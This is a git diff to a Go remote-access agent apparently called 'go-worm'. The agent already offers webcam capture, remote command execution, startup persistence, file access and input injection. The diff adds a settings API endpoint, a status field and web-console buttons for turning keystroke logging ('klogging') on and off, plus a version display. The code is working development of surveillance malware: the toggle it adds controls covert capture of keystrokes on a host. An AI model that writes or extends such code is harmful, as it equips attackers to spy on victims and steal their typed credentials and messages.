diff --git a/VERSION b/VERSION new file mode 100644 index 0000000..3eefcb9 --- /dev/null +++ b/VERSION @@ -0,0 +1 @@ +1.0.0 diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 0d37bb5..d576869 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -97,6 +97,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame) mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) + mux.HandleFunc("/api/v1/settings", a.handleSettings) mux.HandleFunc("/api/v1/input/click", a.handleClick) mux.HandleFunc("/api/v1/input/key", a.handleKey) mux.HandleFunc("/api/v1/input/text", a.handleText) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index ac970e1..25574d5 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -56,6 +56,7 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) { "uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(), "agent_version": config.Version, "listen_address": a.addr, "startup_enabled": startup.Enabled(), + "klogging": keylog.Running(), }) } @@ -80,6 +81,38 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) { helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()}) } +func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case http.MethodGet: + helpers.WriteJSON(w, http.StatusOK, map[string]any{ + "klogging": config.KeylogEnabled(), + "klogging_running": keylog.Running(), + }) + case http.MethodPut: + r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) + defer r.Body.Close() + var body struct { + Klogging *bool `json:"klogging"` + } + if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Klogging == nil { + helpers.WriteError(w, http.StatusBadRequest, "klogging is required") + return + } + if err := keylog.SetEnabled(*body.Klogging); err != nil { + helpers.Log.Printf("klogging set: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not update klogging") + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{ + "klogging": config.KeylogEnabled(), + "klogging_running": keylog.Running(), + }) + default: + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } +} + func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodGet: diff --git a/lib/agent/web.go b/lib/agent/web.go index 34b85dc..142bd4e 100644 --- a/lib/agent/web.go +++ b/lib/agent/web.go @@ -1,9 +1,11 @@ package agent import ( + "bytes" "embed" "net/http" + "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/helpers" ) @@ -33,6 +35,9 @@ func (a *Agent) handleWeb(w http.ResponseWriter, r *http.Request) { helpers.WriteError(w, http.StatusInternalServerError, "ui asset missing") return } + if name == "web/index.html" { + data = bytes.ReplaceAll(data, []byte("{{VERSION}}"), []byte(config.Version)) + } w.Header().Set("Content-Type", contentType) w.Header().Set("Cache-Control", "no-cache") _, _ = w.Write(data) diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index e7e330a..775faa4 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -15,6 +15,9 @@ const startupState = document.getElementById("startup-state"); const startupAdd = document.getElementById("startup-add"); const startupRemove = document.getElementById("startup-remove"); + const keylogState = document.getElementById("keylog-state"); + const keylogEnable = document.getElementById("keylog-enable"); + const keylogDisable = document.getElementById("keylog-disable"); const videoCanvas = document.getElementById("video-canvas"); const videoMeta = document.getElementById("video-meta"); const videoStart = document.getElementById("video-start"); @@ -118,6 +121,10 @@ async function loadStatus() { const res = await api("/api/v1/status"); const data = await res.json(); + const verEl = document.getElementById("app-version"); + if (verEl && data.agent_version) { + verEl.textContent = data.agent_version; + } const fields = [ ["Hostname", data.hostname], ["User", data.user], @@ -128,10 +135,12 @@ ["Uptime", `${data.uptime_seconds}s`], ["Local IPs", (data.local_ips || []).join(", ") || "—"], ["Startup", data.startup_enabled ? "enabled" : "disabled"], + ["klogging", data.klogging ? "on" : "off"], ]; setStartup(Boolean(data.startup_enabled)); currentListen = data.listen_address || ""; syncUpdateMeta(); + loadSettings().catch((err) => showError(err.message)); statusFields.replaceChildren( ...fields.map(([label, value]) => { const item = document.createElement("div"); @@ -303,6 +312,29 @@ startupRemove.disabled = !enabled; } + function setKeylog(enabled) { + keylogState.textContent = enabled ? "klogging: on" : "klogging: off"; + keylogEnable.disabled = enabled; + keylogDisable.disabled = !enabled; + } + + async function loadSettings() { + const res = await api("/api/v1/settings"); + const data = await res.json(); + setKeylog(Boolean(data.klogging)); + } + + async function setKeylogEnabled(enabled) { + const res = await api("/api/v1/settings", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ klogging: enabled }), + }); + const data = await res.json(); + setKeylog(Boolean(data.klogging)); + loadStatus().catch((err) => showError(err.message)); + } + async function setStartupEnabled(enabled) { const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" }); const data = await res.json(); @@ -682,6 +714,9 @@ if (button.dataset.tab === "logs") { listKeylogs().catch((err) => showError(err.message)); } + if (button.dataset.tab === "settings") { + loadSettings().catch((err) => showError(err.message)); + } }); }); @@ -694,6 +729,12 @@ startupRemove.addEventListener("click", () => { setStartupEnabled(false).catch((err) => showError(err.message)); }); + keylogEnable.addEventListener("click", () => { + setKeylogEnabled(true).catch((err) => showError(err.message)); + }); + keylogDisable.addEventListener("click", () => { + setKeylogEnabled(false).catch((err) => showError(err.message)); + }); document.getElementById("file-list").addEventListener("click", () => { listFiles(pathInput.value.trim()).catch((err) => showError(err.message)); }); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index faf4f4c..f724392 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -122,6 +122,14 @@ font-size: 1.05rem; line-height: 1.2; } + .brand-text .ver { + margin-left: 0.45rem; + font-size: 0.78rem; + font-weight: 500; + font-family: var(--mono); + color: var(--text-muted); + letter-spacing: 0; + } .brand-text p { margin-top: 0.1rem; font-size: 0.78rem; @@ -711,7 +719,7 @@
Local agent console
Toggle host-side hooks. Changes persist across restarts.
+klogging runs in-process. If the agent is crashing, leave this off.
+